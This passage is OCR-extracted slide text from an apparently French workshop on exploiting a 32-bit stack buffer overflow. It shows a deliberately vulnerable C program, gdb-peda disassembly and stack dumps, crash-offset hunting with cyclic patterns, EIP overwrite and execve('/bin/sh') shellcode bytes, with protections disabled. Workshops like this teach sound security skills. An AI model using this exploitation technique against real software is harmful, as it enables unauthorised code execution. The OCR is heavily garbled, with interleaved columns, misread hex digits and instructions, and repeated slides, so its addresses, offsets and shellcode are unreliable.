My Little Pwnie &)\
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But et objectif du pwn

Prendre le controle de I'exécution d’un programme en
abusant de faiblesses de conception.

=  Exécuter des commandes avec des droits
privilégiés (binaire suid)
m  Exécuter des commandes sur un serveur distant

= (R)(E) IP = 0x414141441...
= call system("/bin/sh")




gdb-peda$ pdisass wvuln
Assem bleu r X86 Dump of assembler code for function wvuln:

Ox08048520 <+0>: push  ebp
A ackira ~/lab/workshop/pwn-part-I » bat chall.c gigggjgg%% :i%;; Eﬂ;h EEE*ESP
File: chall.c Dx08045527 i7ei len 225:32?3x3ﬂ43543
fnclude <stdio b x0B048330 <+1oo:  call OxB0483c0 <puisbpii

Ox08048535 <+21>: mov ecx,0xo6d
Ox0804853a =+26>: lea edx, [ebp-0x2c]

void hacked(void Ox0804853d <+20>: mov esi,DWORD PTR ds:0x804a040
system{EHbin;sﬁ“}* 0x08048543 <=+35=: mowv DWORD PTR [esp],edx
} ' 0x08048546 <+38>: mov DWORD PTR [esp+8x4],0x64
Ox08P4854e =4+46>: mov DWORD PTR [esp+0x8],esi
id vul id 0x08048552 <+50=>: mov DWORD PTR [ebp-0x30],eax
void vuln{veid) { 0x08048555 <+53>:  mov  DWORD PTR [ebp-8x34].ecx
har buffer[48]: 0x08048558 <+56>: call 0x80483b0 <fgets@plt>
char buffer[40] 0x0804855d <+61>:  lea  ecx,ds:0x8048668
uts("Enter vour little pwnie name : " : Ox08048563 <=+67=: lea EdX,[Ebp—ﬂXZC]
?get;{huffery 100 stdin?* ) 0x08048566 <=+70=: mowv DWORD PTR [esp],ecx
' ' ' Ox08048569 <+73>: mov DWORD PTR [esp+0x4],edx
rintf("Welcome to : %s", buffer): Ox0804856d <+77>: mov DWORD PTR [ebp-0x38],eax
EUtS{"#hE sweetest pwnie"); ) Bx08048570 =+80>: call 0x80483a0 <printf@plt>
} ' 0x08048575 <+85>: lea ecx,ds:0x8048678
0x0804857h <+91>: mov DWORD PTR [esp],ecx
(e ere ) 1 008048581 <+97>:  call  0x80483cO <puts@plt>
returnrﬂ* 0x08048586 <+102>: mov DWORD PTR [ebp-0x40],eax
} ' Ox08048589 <+105>: add esp, 0x54

Ox0804858c =+108>: pop esi
0x0804858d <+109>: pop ebp
0x0804858e <+110>: ret

End of assembler dump.
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Registres x86

EAX: Ox1

EBX: 0Ox0

ECX: Bx2

EDX: 0x804856a --> O0x1b010033

ESI: 0x1

EDI: Oxf7faB000 --> O0x1b3dboO

EBP: Oxffffdo58 --> Ox0

ESP: Oxffffde3e --> 0xl1

EIP: 0x80484c5 (<main+53>: call 0x8048440 <callme>)

EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

= 32 bits = 4 octet = dword = Zone mémoire séparée

=  Valeur ou adresse (pointeur) = Pas accessible via une adresse
=  EAX, EBX, ECX, EDX = généraux

= ESI, EDI = pointeur sur tableau de char

. ESP, EBP = Pointeur haut et bas de pile



Rappels - La mémoire

gdb-peda$

Symbols from "/home/switch/lab/workshop/pwn-part-I/chall”.

Local exec file:
“/home/switch/lab/workshop/pwn-part-I/chall', file type elf32-i386.
Entry point: 0x8048400
0x08048154 - 0x08048167 is .interp

Low address

High address

0x08048168 - 0x08048188 is .note.ABI-tag
0x08048188 - 0x08048lac is .note.gnu.build-id
0x08048lac - 0x08048led is .hash
0x080481ed - Ox0D8048208 is .gnu.hash
Ox08048208 - 0x08048298 is .dynsym
0x08048298 - 0x080482fc is .dynstr
0x080482Tc - Ox0804830e is .gnu.version
OxB8048310 - Ox08048330 is .gnu.version r
0x08048330 - 0x08048340 is .rel.dyn
0x08048340 - 0x08048368 is .rel.plt
0x08048368 - Ox0804838b is .init
0x08048390 - 0x080483f0 is .plt
0x080483T0 - Ox080483f8 is .plt.got
0x08048400 - 0x08048622 is .text
0x08048624 - 0x08048638 is .fTini
0x08048638 - Ox0804868b is .rodata
Ox0804868c - Ox080486b8 is .eh frame hdr
0x080486b8 - Ox0804876c is .eh frame
Ox08049f00 - Ox08049f04 is .init array
Ox08049f04 - Ox08049f08 is .fini array
0x08049T08 - Ox08049f0c is .jcr
0x0804970c - Ox08049ffc is .dynamic
0x08049ffc - Ox0804a000 is .got
0x0804a000 - Ox0804a020 is .got.plt
0x0804ab20 - 0x0804a028 is .data
0x0804a040 - 0x0804a048 is .bss



Rappels — Calling Convention

High address

A ackira ~/lab/workshop/pwn-part-I » bat appel.c
File: appel.c
int callme(int a, int b, char *c) {
printf("%d %d %s", a, b, c);
return 6;

ESP —

=> [Ox80484c5 <main+53>: call 0x8048440 <callme>

Bx80484ca <main+58=: mov DWORD PTR [ebp-0x10],eax
Ox80484cd <main+61=>: add esp,0x28
0x80484d0 <main+64>: pop ebp
0x80484d]1 <main+65=: ret
Guessed arguments:
arg[0]: ox1 ~ Stack Frame

arg[1]: 0x2 main()

arg[2]: 0xB80485ba --> Ox1b010033

0000 | Oxffffdo30 --> oxl

0004 | Oxffffdo34 --> Ox2

0008 | Oxffffdo38 --> Ox804856a --> Ox1b010O33

0012| Oxffffdd3c --»> 0x8048501 (< libc csu init+33>: 1lea
0016| Oxffffdo4e --> Oxf7fa83dc --> Oxf7fafled --> Ox0
0020| Oxffffdodd --> 0x8048224 --> Ox21 ('!")

0024| Oxffffdo48 --> 0x80484e9 (< libc csu init+9>: add
0028| Oxffffdodc --> Ox2

eax, [ebx-0x100])

ebx,0x1b17) Low address



Rappels - La stack

gdb-peda$ x/40xw $esp

Oxffffcfeo: Oxffffdeec Bx00000064 Bxf7fa85a0 Bx080482d1
c OxFfffcffo: 0x00000000 Oxffffdeod Oxf7fa8000 Ox0000A016
SP— — OXFFffdene: OXFFFFFfff 0x00000064 0x00000020 Ox41414141
OxFfffdo1e: 0x41414141 0x41414141 0x41414141 Bx41414141
OxFfffde2e: Bx00000a4l Oxffffdofa Bxf7e22880 Bx0804860b
OxFFffde3e: Bx00000001 0x00000001 OxTTT7d058 0x080485ae
OXFFffdede: OxT7fas3dc 0x08048268 Bx080485¢c9 Oxffffdofa
OxFFffdese: Bx00000001 Bx00000000 ERCLLLLLLEL Bxf7e0c286
OxFFffdO60: 0x00000001 OxFfffdofa Oxffffdofc ENCLL L
OXFFffde7e: Bx00000000 Bx00000000 Oxf7fa8000 Oxf7ffdcoc

Stack Frame ~ @buffer : OxffffdOOc - 0x41414141 ...

vuin() @saved eip : Oxffffd03c - 0x080485ae

gdb-peda$ pdisass main
Dump of assembler code for function main:

0x08048590 <+0>: push  ebp
0x08048591 <+1>: mov ebp,esp
0x08048593 <+3>: sub esp,0x18
EBP — 0x08048596 <+6>: mov eax,DWORD PTR [ebp+Bxc]
Ox08048599 <+09>: mov ecx,DWORD PTR [ebp+0x8]
0x0804859¢c <+12>: mov DWORD PTR [ebp-0x4],0x0
— 0x080485a3 <+19>: mov DWORD PTR [ebp-0x8],ecx

0x080485a6 <+22>: mov DWORD PTR [ebp-0xc],eax
0x080485a9 <+25>: call 0x8048520 <vuln=>
. Stack Frame Ox080485ae <+30>: Xor eax,eax

main()

_

Low address
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Pwning . rewriting EI P => 0x804858e <vuln+110>: ret == pop eip

0x804858T: nop

ooy S — Ox8048590 <main>: push  ebp

) Ox8048591 <main+1>: mov ebp,esp
Ox8048593 <main+3=: sub esp,0x18
[-mmmmmm e stack----------cccmmmmaannn
AAAA 0000 | OxffffdO3c --> Ox80485ae (<main+30>: Xxor eax,eax)
JAVAVAVAY
JAVAVAVAY
JAVAVAVAY
AAAA => 0x804858e <vuln+110>: ret
AAAA Ox804858f: nop
JAVAVAVAN Bx8048590 <=main>: push  ebp
AAAA — St?Ck Frame 0x8048591 <main+l>: mov  ebp,esp
AAAA vuln() 0x8048593 <main+3>: sub  esp,Bx18
AAAA R e L L LR TR stack--------
JAVAVAVAN 0000| OxTfffdo3c ('A' <repeats 12 times>, "\n")
JAVAVAVAY 0004| OxTfffdodo ("AAAAAAAANN")
JAVAVAVAY 0008| OxTfffdodd ("AAAA\N")
JAVAVAVAY
JAVAVAVAY
EBP —» JAVAVAVAY
EIP: ©x41414141 ('AAAA')
_ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT
) s R code---------==zzeon--
Invalid $PC address: @x41414141
R e L L e PR L stack------cccccecnen--
— itaaicnk()':rame 0000| OXTTFdO40 ("AAAAAAAA\N")
0004| Oxffffdodd ("AAAA\N")

Low address



Now goto

pwnie.switch.re/chall.c
pwnie.switch.re/chall

pwnie.switch.re/shellcode.c
pwnie.switch.re/shellcode



Pwning : PEDA commands

gdb-peda$ checksec

CANARY : disabled gdb'p9d3$ X/2WX $e5p

FORTIFY : disabled OXffffd190: Oxf7fed520 Ox00000000
NX : disabled B =
PIE : disabled ]

. ] & = , gdb-peda$ b *main+36
RELRO Partial lgdb-peda$ info functions Jab-pe

Breakpoint 2 at 0x8048574

gdb-peda$ context all

R e registers-------mmm oo e o s
EAX: Oxf7faddc8 --> Oxffffd24c --> Oxffffd402 ("XDG _SEAT PATH=/org/freedesktop/
Manager/Seat0")

EBX: 0x0

ECX: 0x51d3676d

EDX: Oxffffdldd --> Ox0

gdb-pedas disass main gdb-pedas pattern create 100

Dump of assembler Fode for function main: | AAASSAASAABAASAANAACAA-AA (AADAA
Ox08048550 <+0>: push  ebp AASAAKAAGAAGAAL '
Ox08048551 <+1>: mov ebp,esp g

) gdb-pedas pattern offset ADAA
Ox08048553 <+43>: sub esp,0x18 ADAA found at offset: 26

=> Ox08048556 <+6>: mov eax,DWORD PTR [ebp+0xc] . m
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Pwning : locate the crash

pattern create 100

_> —_
ESP ' AAA%AASAABAASAANAACAA - AA (AADAA ; AA) AAEAABAADA
||
EAX: 0x70 ('p') R
EBX: 0x0
4AA)] ECX: 8x0
AA-) EDX: 0xf7fa4890 --> 0x0
ESI: 0x41494141 ('AAIA')
$Aab EDI: 0xf7fa3000 --> 0x1d9d6c
Abab EBP: 0x41416541 ('AcAA')
acab ESP: Oxffffd19e ("AATAASAAKAAQAAGAA")
EIP: 0x4a414134 ('4AA]')
AAA% EFLAGS: 0x10286 (carry adjust zero trap direction overflow)
AAsA . StackFrame [ code------------oooooooo oo ]
ABAA vuln()
[mimmimm s o e o e e stack----- - o |
JAVAVARS 0000| Oxffffd19e ("AATAASAAKAAQAAGAA™)
AAA’ 0004| OxTfffd194 ("ASAAKAAQAAGAA")
0008| OxTfffd198 ("KAAQAABAA")
AAAC 0012| exffffdl9c ("AAGAA")
A(AA 0016| Oxffffdla® --> 0x41 ('A")
: 0020| oxffffdlad --> 6x0
AA,A 0024| oxffffdlagd --> 0x@
AVAYQJAN 0028| oxffffdlac --= (< libc start main+241=: add esp,0x10)
e i OnEaE e ]
EBP — AabA Legend: , data, rodata, value
Stopped reason:
{GENERATED STRING} 0x48414134 in 77 ()
_ I
- ﬁ%ﬁ;mme pattern offset 4AAJ]
main _
4AAJ found at offset: 78
(]

Low address
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Pwning : the shellcode

The sweetest pwnie will be located
Enter your little pwnie name

at @exffffdl3e.

---------------------------------- registers---------------------mmm e oo -]
EAX: 0x60 (' ')
ESP — — EBX: 0x0
ECX: 0x0
EDX: 0xf7fad4890 --= Ox0
ESI: 0x41414141 ('AAAA')
EDI: 0xf7fa3000 --= 8x1d9dé6c
EBP: 0x41414141 ('AAAA")
AAAA ESP: Oxffffdl8c --> @xffffdl3e ("SHELLCODE", 'A' <repeats 69 times>, ">\321\377\3
JAVAVAVAY EIP: (=vuln+117=>: ret)
JAYAYAYAY EFLAGS: 0x286 (carry adjust zero trap direction overflow)
AAAA [-----ommmmem e code-------------omoiom e |
AAAA Ox8048540 =vuln+112=>: add esp,0x74
AAAA 0x8048543 <vuln+115>: pop esi
AAAA Stack Frame 0x8048544 <vuln+116>: pop ebp
AAAA vuln() => 0x8048545 <vuln+117>: ret
0x8048546: nop WORD PTR cs:[eax+eax*1+0x0]
AAAA 0x8048550 =main=: push ebp
JAVAVAVAN @x8048551 <main+1l>: mov ebp,esp
JAVAYAYAN 0x8048553 <main+3=: sub esp,0x18
AAAA [-----mmmmmmrmme e e stack-------------omiee e ]
AAAA :EIEIEIEI| Oxffffdl8c --» OxTfffdl3e ("SHELLCODE", 'A' <repeats 69 times=, "=>\321\377\!
AAAA |(m(;4| oxfiffd1oe --= (= dl_relocate object+394=: ELE oxt7ted077
3=
EBP ——> AAAA pOO8| Oxffffd194 --> OXO
{SHELLCODE} 0012| Oxffffd19s --> (< libc csu init+9=: add ebx,8x1a77)
{SHELLCODE addr} 0016| Oxffffdl9c --= Oxffffd244 --= @xffffd3d9 ("/home/nofix/Documents/H2G2/Pwn/sl
— 0020| exffffdlae --> oxl
0024| oxffffdlad4 --> OxO
0028| oxffffdlag --> Ox0
e ]
— i::aai(;:z)lzrame Legend , data, rodata, value
Breakpoint 1, ©x08648545 in vuln ()

Low address |



Pwning : the shellcode

ESP — » o 31 cO xor %seaX,%seax
50 push  %eax
68 2f 2f 73 68 push $Ox68732f2f
AAAA 68 2f 62 69 6e push $0x6e69622f
AAAA 89 e3 mov %sesp,%sebx
S 89 cl mov %eax,%ecx
JAVAVAVAY
AAAA 89 c2 11[0}Y; %eax,%sedx
ﬁﬁﬁﬁ __ Stack Frame b0 Ob mov $0xb,%al
2222 vuln() cd 80 int $0Ox80
AAAA 31 c0 Xor %eax,%eax
ﬁﬁﬁﬁ 40 inc %eax
AAAA cd 80 int $Ox80
JAVAVAVAN
EBP — > AAAA
{SHELLCODE}
{SHELLCODE addr} B "\ X3I\XCcO\Xx50\x68\x2T\x2T\x73\x68\x68\x2T\x62'
. Stack Frame
main()

I

Low address
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Pwning : protections & compilation

CANARY
FORTIFY
NX

PIE
RELRO

checksec

Partial

Start
Ox08048000
Ox08049000

Oxf7dc9000
Oxf7fabe0eo
Oxf7faleeEo

Oxf7fcfOO0
Oxf7fd2000
Oxf7fd4000
Oxf7ffcO00

vmmap

End
Ox08049000
Ox0804a0b00

Oxf7fabe0o0
Oxf7faleeo
Oxf7fa3000

Oxf7fd2000
Oxf7fd4000
Oxf7ffbeOO
Oxf7ffdeoO

Name
/home/nofix/Documents/H2G2/Pwn/shellcode
/home/nofix/Documents/H2G2/Pwn/shellcode

/usr/1ib/i386-1inux-gnu/libc-2.28.50
/usr/1ib/i386-1inux-gnu/libc-2.28.50
/usr/1ib/i386-1inux-gnu/libc-2.28.50

[vvar]
[vdso]
/usr/1ib/i386-1inux-gnu/1d-2.28.5s0
/usr/1ib/i386-1inux-gnu/1d-2.28.5s0
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Pwning : PEDA commands

gdb-peda$ checksec

CANARY : disabled gdb'p9d3$ X/2WX $e5p

FORTIFY : disabled OXffffd190: Oxf7fed520 Ox00000000
NX : disabled B =
PIE : disabled ]

. ] & = , gdb-peda$ b *main+36
RELRO Partial lgdb-peda$ info functions Jab-pe

Breakpoint 2 at 0x8048574

gdb-peda$ context all

R e registers-------mmm oo e o s
EAX: Oxf7faddc8 --> Oxffffd24c --> Oxffffd402 ("XDG _SEAT PATH=/org/freedesktop/
Manager/Seat0")

EBX: 0x0

ECX: 0x51d3676d

EDX: Oxffffdldd --> Ox0

gdb-pedas disass main gdb-pedas pattern create 100

Dump of assembler Fode for function main: | AAASSAASAABAASAANAACAA-AA (AADAA
Ox08048550 <+0>: push  ebp AASAAKAAGAAGAAL '
Ox08048551 <+1>: mov ebp,esp g

) gdb-pedas pattern offset ADAA
Ox08048553 <+43>: sub esp,0x18 ADAA found at offset: 26

=> Ox08048556 <+6>: mov eax,DWORD PTR [ebp+0xc] . m
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